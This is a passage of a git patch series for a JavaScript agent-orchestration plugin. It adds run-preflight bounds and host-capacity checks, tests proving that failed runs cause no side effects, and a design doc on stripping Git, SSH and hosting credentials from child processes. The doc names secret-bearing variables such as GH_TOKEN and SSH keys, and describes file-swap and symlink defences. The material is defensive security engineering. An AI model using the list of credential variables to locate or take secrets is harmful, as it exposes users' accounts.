least ${PREFLIGHT_MIN_CHILDREN} child assignment.`); + } + if (count > PREFLIGHT_MAX_CHILDREN) { + failPreflight('preflight_child_count_exceeded', 'assignments', + `A run exceeds the public maximum of ${PREFLIGHT_MAX_CHILDREN} independent child assignments.`); + } +} + +// Independent fanout: no submitted child may carry a dependency edge of any +// shape, and every child id must be unique within the run. The accepted P02 +// contract already denies both; this boundary re-asserts it over the detached +// frozen snapshot so the launch gate keeps its own evidence. +function assertIndependentFanout(snapshot) { + const assignments = snapshot.assignments; + const seenIds = new Set(); + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + const assignmentPath = `assignments[${index}]`; + for (const key of sortedOwnKeys(assignment)) { + if (!capturedIncludes(ASSIGNMENT_ALLOWED_KEYS, key)) { + failPreflight('preflight_dependency_edge_denied', `${assignmentPath}.${key}`, + 'Child assignments are independent; dependency edges of any shape are denied.'); + } + } + const idPath = `${assignmentPath}.assignment_id`; + const assignmentId = assignment.assignment_id; + if (seenIds.has(assignmentId)) { + failPreflight('preflight_duplicate_child_id', idPath, + 'Child assignment ids must be unique within one run.'); + } + seenIds.add(assignmentId); + } +} + function summarizeChildren(snapshot) { const assignments = snapshot.assignments; const ids = []; @@ -710,8 +768,10 @@ function buildReceipt(manifest, summary, repositoryFacts, hostFacts) { export async function validateRunPreflightV1(request, options) { const parsedOptions = parseOptions(options); const manifestInput = parseRequest(request); + enforceChildBounds(manifestInput); const snapshot = parseRunManifestV1(manifestInput); const childrenSummary = summarizeChildren(snapshot); + assertIndependentFanout(snapshot); assertSnapshotDisjointWriterScopes(snapshot); const hostFactsSource = parsedOptions.host ?? ambientHostFacts(); const hostFacts = capturedFreeze({ diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs index d8b91ae..7ec66eb 100644 --- a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -380,6 +380,105 @@ test('preflight errors carry bounded content-free messages from a closed code se } }); +test('nine children exceed the public maximum with zero git spawns', async () => { + const repo = await createLinearRepo(); + try { + let spawned = false; + const error = await preflightError( + laneManifestsForCount(9, { repositoryPath: repo.root, baseSha: repo.baseSha }), + { spawn: () => { spawned = true; throw new Error('no observation may run'); } }, + ); + assert.equal(error.code, 'preflight_child_count_exceeded'); + assert.equal(error.path, 'assignments'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /9/u); + } finally { + await repo.cleanup(); + } +}); + +test('an empty child set is below the public minimum', async () => { + const repo = await createLinearRepo(); + try { + const error = await preflightError( + laneManifestsForCount(0, { repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'preflight_child_count_below_minimum'); + assert.equal(error.path, 'assignments'); + } finally { + await repo.cleanup(); + } +}); + +test('absent or non-array child sets defer to the accepted upstream denials', async () => { + const repo = await createLinearRepo(); + try { + const missing = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + delete missing.assignments; + const missingError = await preflightError(missing); + assert.equal(missingError.code, 'missing_key'); + + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.assignments = { not: 'an array' }; + const typeError = await preflightError(foreign); + assert.equal(typeError.code, 'invalid_type'); + } finally { + await repo.cleanup(); + } +}); + +test('dependency edges keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const edged = writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']); + edged.depends_on = [ASSIGNMENT_ID_B]; + const manifest = preflightManifest([ + edged, + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['dependency_not_allowed', 'unknown_key', 'preflight_dependency_edge_denied'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate child ids keep their precise denial inside the composed pipeline', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_A, ['src/beta/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.ok( + ['duplicate_assignment_id', 'preflight_duplicate_child_id'].includes(error.code), + error.code, + ); + } finally { + await repo.cleanup(); + } +}); + +test('the ready receipt proves the independent bounded fanout', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(3, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.independent, true); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('child_bounds')); + assert.ok(RUN_PREFLIGHT_CHECKS.includes('independent_fanout')); + } finally { + await repo.cleanup(); + } +}); + test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { const repo = await createLinearRepo(); try { From fba6e6e5b7a46faf851cfb3b7ebd2d242a040d0b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:34:06 +0000 Subject: [PATCH 76/81] feat(run): detect overlapping writer scopes and capacity The preflight now denies submissions the host cannot carry before any process spawns: every concurrently running child must get one schedulable CPU slot (cpu_parallelism >= max_concurrency) and its own 256 MiB RAM floor (available_ram_bytes >= concurrency * floor), with typed host_cpu_capacity_exceeded / host_ram_capacity_exceeded denials whose fixed-template messages never echo requested or observed numbers. Host facts come from the ambient host unless injected through the closed options.host seam. Overlapping writer scopes were already re-checked pairwise over the frozen snapshot; the receipt now carries scope_pair_checks evidence proving how many pattern pairs the disjointness check compared, and the overlap denial is proven to fire with zero git observations. --- docs/run-preflight.md | 18 +++ .../mcp/v3/run-preflight.mjs | 34 ++++++ .../test/r1-run-preflight.test.mjs | 108 +++++++++++++++++- 3 files changed, 157 insertions(+), 3 deletions(-) diff --git a/docs/run-preflight.md b/docs/run-preflight.md index c3c0af6..79efa86 100644 --- a/docs/run-preflight.md +++ b/docs/run-preflight.md @@ -65,6 +65,24 @@ disjointness is re-checked pairwise with the accepted conservative static-prefix intersection, so overlapping writer scopes are detected at this boundary even though upstream already denies them. +## Capacity denial + +Every concurrently running child is guaranteed a schedulable CPU slot and a +private RAM floor: + +| Resource | Rule | Denial code | +| --- | --- | --- | +| CPU | `host.cpu_parallelism >= policy.max_concurrency` | `host_cpu_capacity_exceeded` | +| RAM | `host.available_ram_bytes >= max_concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD` (256 MiB) | `host_ram_capacity_exceeded` | + +Host facts are read from the ambient host when not injected; tests inject +exact values through the closed `options.host` seam (validated as +non-negative safe integers — hostile facts fail with +`host_facts_invalid`). The capacity check runs after the pure-data checks +and before any process spawns, so a denied run costs zero git observations. +Denial messages are fixed templates that never echo requested or observed +numbers. + ## Composition Preflight composes accepted surfaces and invents none of their semantics: diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 00b69e2..36c188e 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -129,6 +129,7 @@ export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ 'child_bounds', 'complete_run_manifest', 'independent_fanout', + 'host_capacity', 'canonical_repository', 'exact_base_commit', 'no_replace_refs', @@ -151,6 +152,8 @@ export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ 'preflight_child_count_exceeded', 'preflight_dependency_edge_denied', 'preflight_duplicate_child_id', + 'host_cpu_capacity_exceeded', + 'host_ram_capacity_exceeded', 'spawn_invalid', 'host_facts_invalid', 'observation_failed', @@ -168,6 +171,7 @@ const PRIVATE_RECEIPT_KEYS = capturedFreeze([ ]); const PRIVATE_CHILD_SUMMARY_KEYS = capturedFreeze([ 'count', 'minimum', 'maximum', 'independent', 'concurrency', 'assignment_ids', + 'scope_pair_checks', ]); const PRIVATE_CAPACITY_SUMMARY_KEYS = capturedFreeze([ 'source', 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', @@ -353,9 +357,20 @@ function assertIndependentFanout(snapshot) { function summarizeChildren(snapshot) { const assignments = snapshot.assignments; const ids = []; + let pairChecks = 0; for (let index = 0; index < assignments.length; index += 1) { ids.push(assignments[index].assignment_id); } + // Evidence bound: the same pairwise enumeration the disjointness check + // performs, counted here so the receipt proves the work without echoing + // any pattern text. + for (let left = 0; left < assignments.length; left += 1) { + if (assignments[left].access !== 'writer') continue; + for (let right = left + 1; right < assignments.length; right += 1) { + if (assignments[right].access !== 'writer') continue; + pairChecks += assignments[left].write_scope.length * assignments[right].write_scope.length; + } + } return capturedFreeze({ count: assignments.length, minimum: PREFLIGHT_MIN_CHILDREN, @@ -363,9 +378,27 @@ function summarizeChildren(snapshot) { independent: true, concurrency: snapshot.policy.max_concurrency, assignment_ids: capturedFreeze(ids), + scope_pair_checks: pairChecks, }); } +// Capacity denial: every concurrently running child is guaranteed one +// schedulable CPU slot and a private RAM floor. The comparison uses only +// frozen constants and validated integers; denial messages stay fixed +// templates that never echo requested or observed numbers. +function enforceHostCapacity(hostFacts, concurrency) { + const requiredRamBytes = concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD; + if (hostFacts.cpu_parallelism < concurrency) { + failPreflight('host_cpu_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child a schedulable CPU slot.'); + } + if (hostFacts.available_ram_bytes < requiredRamBytes) { + failPreflight('host_ram_capacity_exceeded', 'capacity', + 'The host cannot offer every concurrent child its private RAM floor.'); + } + return requiredRamBytes; +} + // Defense-in-depth at the launch boundary: the parsed snapshot is detached // and frozen, so this pairwise recheck cannot race a caller mutation. The // comparison is the accepted conservative static-prefix intersection. @@ -780,6 +813,7 @@ export async function validateRunPreflightV1(request, options) { total_ram_bytes: hostFactsSource.total_ram_bytes, available_ram_bytes: hostFactsSource.available_ram_bytes, }); + enforceHostCapacity(hostFacts, snapshot.policy.max_concurrency); const repositoryFacts = await observeRepositoryAndBase(snapshot, parsedOptions.spawn); return buildReceipt(snapshot, childrenSummary, repositoryFacts, hostFacts); } diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs index 7ec66eb..719aca2 100644 --- a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -36,7 +36,9 @@ import { forgeGitDirFileRepo, hostFacts, laneManifestsForCount, + preflightManifest, twoLaneManifest, + writerLane, } from './fixtures/r1-run-preflight-fixtures.mjs'; const SUFFICIENT_HOST = hostFacts(); @@ -134,9 +136,10 @@ test('injected host facts are reported as injected', async () => { const repo = await createLinearRepo(); try { const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); - const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 3 }) }); + const receipt = await preflightOk(manifest, { host: hostFacts({ total_ram_bytes: 12_345_678_901 }) }); assert.equal(receipt.capacity.source, 'injected'); - assert.equal(receipt.capacity.cpu_parallelism, 3); + assert.equal(receipt.capacity.cpu_parallelism, 8); + assert.equal(receipt.capacity.total_ram_bytes, 12_345_678_901); } finally { await repo.cleanup(); } @@ -487,8 +490,107 @@ test('duplicate writer scopes across lanes keep the accepted overlap denial', as writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), ], { repositoryPath: repo.root, baseSha: repo.baseSha }); - const error = await preflightError(manifest); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('CPU capacity denial fires before any git observation', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 8 }, + }); + let spawned = false; + const error = await preflightError(manifest, { + host: hostFacts({ cpu_parallelism: 7 }), + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'host_cpu_capacity_exceeded'); + assert.equal(error.path, 'capacity'); + assert.equal(spawned, false); + assert.doesNotMatch(error.message, /7|8/u); + } finally { + await repo.cleanup(); + } +}); + +test('RAM capacity denial honors the per-child floor at exact boundaries', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 2 }, + }); + const oneByteShort = 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD - 1; + const error = await preflightError(manifest, { + host: hostFacts({ available_ram_bytes: oneByteShort, total_ram_bytes: oneByteShort + 4096 }), + }); + assert.equal(error.code, 'host_ram_capacity_exceeded'); + assert.doesNotMatch(error.message, /536870911|536870912/u); + + const receipt = await preflightOk(manifest, { + host: hostFacts({ available_ram_bytes: 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD }), + }); + assert.equal(receipt.capacity.ram_ok, true); + assert.equal(receipt.capacity.required_ram_bytes, 2 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD); + assert.equal(receipt.capacity.cpu_ok, true); + } finally { + await repo.cleanup(); + } +}); + +test('single-lane runs need exactly one CPU slot and one RAM floor', async () => { + const repo = await createLinearRepo(); + try { + const manifest = preflightManifest([writerLane(ASSIGNMENT_ID_A, ['src/alpha/**'])], { + repositoryPath: repo.root, + baseSha: repo.baseSha, + policy: { max_concurrency: 1 }, + }); + const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 1 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 1); + assert.equal(receipt.children.scope_pair_checks, 0); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt counts every writer-scope pair the disjointness check compares', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.scope_pair_checks, 8 * 7 / 2); + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + const error = await preflightError(manifest, { + spawn: () => { spawned = true; throw new Error('no observation may run'); }, + }); + assert.equal(error.code, 'overlapping_writer_scope'); + assert.equal(spawned, false); } finally { await repo.cleanup(); } From f0508fb3cd58c7e77a15326f775248e92a6e1fd6 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:36:57 +0000 Subject: [PATCH 77/81] test(run): prove no workspace exists after failed preflight Add the side-effect proof suite. For every failure mode in the battery (invalid envelope, nine children, overlapping writer scopes, CPU and RAM capacity denial, missing repository, absent base commit) plus bare repositories and symlink aliases, and for the success path as well, the observed world must come back identical: same files with the same bytes and modes, the same refs, nothing added or removed. A recording spawn wraps the whole battery and proves every observation stayed inside the closed read-only rev-parse / cat-file / for-each-ref posture under the frozen closed git environment, so no lock file, branch, dispatch artifact, or reservation can appear from any preflight outcome. --- .../mcp/v3/run-preflight.mjs | 3 - .../fixtures/r1-run-preflight-fixtures.mjs | 6 + .../r1-run-preflight-side-effect.test.mjs | 205 ++++++++++++++++++ 3 files changed, 211 insertions(+), 3 deletions(-) create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 36c188e..e03651a 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -41,11 +41,9 @@ import { spawn as nodeSpawn } from 'node:child_process'; import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; import * as nodeOs from 'node:os'; import * as nodePath from 'node:path'; -import { types as utilTypes } from 'node:util'; import { capturedFreeze, - capturedHasOwn, capturedIncludes, capturedIsArray, capturedOwnKeys, @@ -72,7 +70,6 @@ import { fail, freezeData, hasOwn, - optOwn, ownDataValue, } from './selection-json.mjs'; import { parseRunManifestV1 } from './run-policy.mjs'; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs index 15b9e20..2db6ad4 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs @@ -272,3 +272,9 @@ export function createRecordingSpawn() { }, }; } + +// Read-only observation helper for side-effect proofs: runs argv git inside +// a fixture repository without touching product modules. +export async function runFixtureGitIn(root, args) { + return runFixtureGit(root, args); +} diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs new file mode 100644 index 0000000..ce2f6a0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-side-effect.test.mjs @@ -0,0 +1,205 @@ +// P26 run preflight — side-effect proofs. For every failure mode AND the +// success path, the observed world must come back byte-identical: the same +// files with the same bytes, the same refs, and nothing else. A failed +// preflight leaves no workspace, no branch or ref, no dispatch artifact, +// no lock file, no reservation — because the boundary never writes and its +// only spawns are read-only observations. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { createHash } from 'node:crypto'; +import { readdir, readFile, lstat } from 'node:fs/promises'; +import path from 'node:path'; + +import { GIT_CLOSED_ENV } from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; + +const CLOSED_ENV_KEYS = Object.keys(GIT_CLOSED_ENV).sort(); +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createBareRepo, + createLinearRepo, + createSymlinkAliasRepo, + createRecordingSpawn, + hostFacts, + laneManifestsForCount, + runFixtureGitIn, + twoLaneManifest, + writerLane, + preflightManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function snapshotState(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) { + await walk(path.join(relative, child)); + } + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) { + digest.update(await readFile(absolute)); + } else { + digest.update(String(metadata.size)); + } + entries.push({ p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex') }); + } + await walk(''); + // refs/stash is included by for-each-ref, so no separate stash query. + const refs = await runFixtureGitIn(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +function failureBattery(repo) { + return [ + ['invalid envelope', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), (manifest) => { manifest.schema = 'not-the-run-schema'; }, 'invalid_format'], + ['nine children exceed the maximum', laneManifestsForCount(9, { + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'preflight_child_count_exceeded'], + ['overlapping writer scopes', preflightManifest([ + writerLane('lane-overlap-a', ['src/shared/**']), + writerLane('lane-overlap-b', ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }), null, 'overlapping_writer_scope'], + ['cpu capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_cpu_capacity_exceeded', { host: hostFacts({ cpu_parallelism: 0 }) }], + ['ram capacity denial', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: repo.baseSha, + }), null, 'host_ram_capacity_exceeded', + { host: hostFacts({ available_ram_bytes: 1 }) }], + ['missing repository', twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: repo.baseSha, + }), null, 'repository_missing'], + ['absent base commit', twoLaneManifest({ + repositoryPath: repo.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), null, 'base_identity_invalid'], + ]; +} + +test('every failed preflight leaves the repository world byte-identical', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + for (const [label, manifest, mutate, expectedCode, optionsOverride] of failureBattery(repo)) { + if (mutate) mutate(manifest); + const options = { host: SUFFICIENT_HOST, spawn: recording.spawn, ...optionsOverride }; + let threw = false; + try { + await validateRunPreflightV1({ manifest }, options); + } catch (error) { + threw = true; + assert.ok(error instanceof RunContractV1Error, `${label}: ${error}`); + assert.equal(error.code, expectedCode, label); + } + assert.equal(threw, true, `${label} should have failed`); + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, `world changed after: ${label}`); + } + // Only read-only observation commands ever ran across the whole battery. + assert.ok(recording.records.length >= 2); + for (const record of recording.records) { + const commandIndex = record.args.indexOf('-C'); + assert.ok(commandIndex >= 0, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[commandIndex + 2]), + record.args.join(' '), + ); + assert.deepEqual(record.envKeys, CLOSED_ENV_KEYS); + } + } finally { + await repo.cleanup(); + } +}); + +const GIT_CLOSED_ENV_SORTED = { + LANG: 'C', + LC_ALL: 'C', + PATH: '/usr/bin:/bin', + TZ: 'UTC', + GIT_ASKPASS: '', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', +}; + +test('a passing preflight launches nothing either', async () => { + const repo = await createLinearRepo(); + try { + const before = await snapshotState(repo.root); + const recording = createRecordingSpawn(); + const receipt = await validateRunPreflightV1( + { manifest: twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }) }, + { host: SUFFICIENT_HOST, spawn: recording.spawn }, + ); + assert.equal(receipt.status, 'ready'); + for (const claim of Object.keys(receipt.side_effects)) { + assert.equal(receipt.side_effects[claim], false); + } + const after = await snapshotState(repo.root); + assert.deepEqual(after, before, 'world changed after a successful preflight'); + } finally { + await repo.cleanup(); + } +}); + +test('failed preflights leave bare repositories and aliases untouched too', async () => { + const bare = await createBareRepo(); + try { + const before = await snapshotState(bare.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: bare.root, + baseSha: '0123456789abcdef0123456789abcdef01234567', + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.ok(['repository_not_canonical'].includes(error.code), error.code); + assert.deepEqual(await snapshotState(bare.root), before); + } finally { + await bare.cleanup(); + } + + const aliased = await createSymlinkAliasRepo(); + try { + const before = await snapshotState(aliased.root); + const error = await validateRunPreflightV1({ + manifest: twoLaneManifest({ + repositoryPath: `${aliased.root}-alias`, + baseSha: aliased.baseSha, + }), + }, { host: SUFFICIENT_HOST }).then(() => null).catch((caught) => caught); + assert.equal(error.code, 'repository_not_canonical'); + assert.deepEqual(await snapshotState(aliased.root), before); + } finally { + await aliased.cleanup(); + } +}); From b4f2fd9bb35c592e4a319a6839b1f460f4cc9912 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 14:08:28 +0000 Subject: [PATCH 78/81] feat(boundary): strip Git SSH and hosting credentials Project a closed provider/operation environment so Git, SSH, hosting tokens, control secrets, key-file paths, and other-route credentials never reach launch or readiness children. Muse and Ox stay isolated; Grok and Cursor Cloud receive only their required route. --- docs/credential-isolation.md | 118 ++++ .../mcp/v3/credential-boundary.mjs | 668 ++++++++++++++++++ .../codex-co-engineer/mcp/v3/supervisor.mjs | 68 +- 3 files changed, 826 insertions(+), 28 deletions(-) create mode 100644 docs/credential-isolation.md create mode 100644 plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs diff --git a/docs/credential-isolation.md b/docs/credential-isolation.md new file mode 100644 index 0000000..745c231 --- /dev/null +++ b/docs/credential-isolation.md @@ -0,0 +1,118 @@ +# Credential and remote-mutation isolation (P29) + +Status: implemented as an additive v3 boundary +Complements: [threat model](threat-model.md), [ADR 0001](adr/0001-r1-bounded-run-architecture.md), P23 provider registry, P28 Git authority policy + +P29 is the credential and remote-mutation isolation boundary. It does not +sandbox a selected provider, substitute for P23 composition, or replace P28 +policy. Same-UID malicious filesystem access is outside this non-sandboxed +boundary. P30 live protected-ref audit remains later work. + +## Closed environment projection + +Supervisor launch and readiness children receive a **closed** +provider/operation environment. Projection starts empty and copies only +allowlisted operational keys plus the selected provider's required route. +It does not enumerate caller objects, so hostile getters on unrelated keys +never run. + +The following never reach provider or readiness children: + +- Git, SSH, and hosting credentials (`GIT_*` except a small hardening set, + `SSH_*`, `GH_TOKEN` / `GITHUB_*` / GitLab / Bitbucket tokens, askpass, + `insteadOf`, push URLs); +- control tokens (`WORKTREE_BOOTSTRAP_*`, MCP/supervisor lock secrets, + state-root tokens); +- owner-only key-file **paths** (`*_API_KEY_FILE` and Co-Engineer file + pointers); +- unrelated ambient secrets and `NODE_OPTIONS` / `NODE_PATH`. + +Lane hardening always sets `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`, +and `GIT_PUSH_OPTION_COUNT=0`. That is not a git sandbox; it removes the +platform's push/credential-helper environment. + +## Provider route isolation + +| Route | Receives | Does not receive | +| --- | --- | --- | +| Grok | `XAI_API_KEY` when present, Grok command, operational keys | Muse/Ox/Cursor keys, Git/SSH/hosting, key-file paths | +| Cursor Local | Cursor command, operational keys (CLI session under `HOME`) | `CURSOR_API_KEY`, Muse/Ox/Grok keys | +| DSH Muse | `MODEL_API_KEY`, Muse config path, DSH/ACPX commands | `OPENROUTER_API_KEY`, Grok/Cursor keys | +| DSH Ox | `OPENROUTER_API_KEY`, Ox config path, DSH/ACPX commands | `MODEL_API_KEY`, Grok/Cursor keys | +| Cursor Cloud local SDK | `CURSOR_API_KEY` plus bounded repository/ref/prompt data | Other provider keys, Git/SSH/hosting, key-file paths | +| Cursor Cloud remote | Credential-free origin URL, pinned SHA, prompt, optional `create_pr` flag | Local credentials, SSH agent, hosting tokens, key files | + +Readiness probes use the same closed maps. DSH `--version` / `which` and +`npm root --global` do not inherit ambient secrets. Credential presence for +DSH and Cursor Cloud is checked by an in-process owner-only file read, not +by leaking the value into an unrelated child. + +## Credential file reads + +Credential values may come from the selected env key or from an owner-only +file. File reads require: + +- an absolute, normalized path; +- `O_NOFOLLOW|O_RDONLY|O_NONBLOCK` open of a regular file; +- owner equal to the effective UID; +- mode `0600` (no group/other bits); +- link count 1 (hardlinks denied); +- size in `1..=16 KiB`; +- a post-read `fstat` identity match (dev/ino/mode/nlink/uid/size/mtime/ctime). + +Errors are content-free: they never echo the path, the bytes, or the +credential. Symlink, FIFO, directory, oversize, empty, owner, mode, and +in-place swap during read fail closed. Same-UID replacement of a path +between checks is the documented non-sandbox residual. + +## systemd-run argv handoff + +Credential values never appear in `systemd-run` argv. Non-secret projected +keys may use `--setenv`. Secret keys are written to a bounded owner-only +no-follow regular file under `XDG_RUNTIME_DIR` (else the process temp +dir), mode `0600`, directory `0700`, and the service command is wrapped by +`credential-handoff-loader.mjs`. + +The loader opens the file with the same no-follow rules, applies the +values, unlinks the file (and best-effort the directory), then runs the +original command as a child. The loader stays the service leader so +`KillMode=control-group` still reaches descendants. + +Cleanup unlinks any remaining handoff file after spawn failure, cancel, +terminal stop, or a later restart (a restart creates a new file). The +short-lived `systemd-run` client receives only the D-Bus session keys +needed to talk to the user manager (`DBUS_SESSION_BUS_ADDRESS`, +`XDG_RUNTIME_DIR`, `XDG_SESSION_ID`). + +Cursor Cloud workers are local Node processes, not systemd services; they +still receive the closed projection and never put secrets in argv. + +## Exact-value redaction + +ACP events, public errors, worker logs, and Cursor Cloud receipts redact +the exact credential values for the selected route, including 16 KiB +secrets split across events. Redaction uses the full value plus overlapping +32-byte fragments so a chunked log line cannot reassemble the secret. +Pattern redaction for common token shapes remains as defense in depth. + +## No worker remote-mutation authority + +Workers do not receive push URLs, credential helpers, or hosting tokens. +Profiles and manifests stay data-only. This boundary denies worker +push/merge/rebase/PR/tag/release/protected-ref/credential-helper/remote +mutation rather than performing those Git operations. P28 remains the +authority-policy seam; P29 does not wrap it and does not audit live refs +(P30). + +Cursor Cloud `create_pr` stays a supervisor-to-remote SDK option. It is +not merge authority, does not send local Git/SSH/hosting credentials, and +does not grant workers a push URL. + +## Compatibility + +P23 `provider-registry.mjs` remains the only composition authority for the +four accepted adapters. P29 does not add a fifth slot, a wrapper factory, +or ambient discovery. P28 `git-authority.mjs` remains policy at the +authority seam; P29 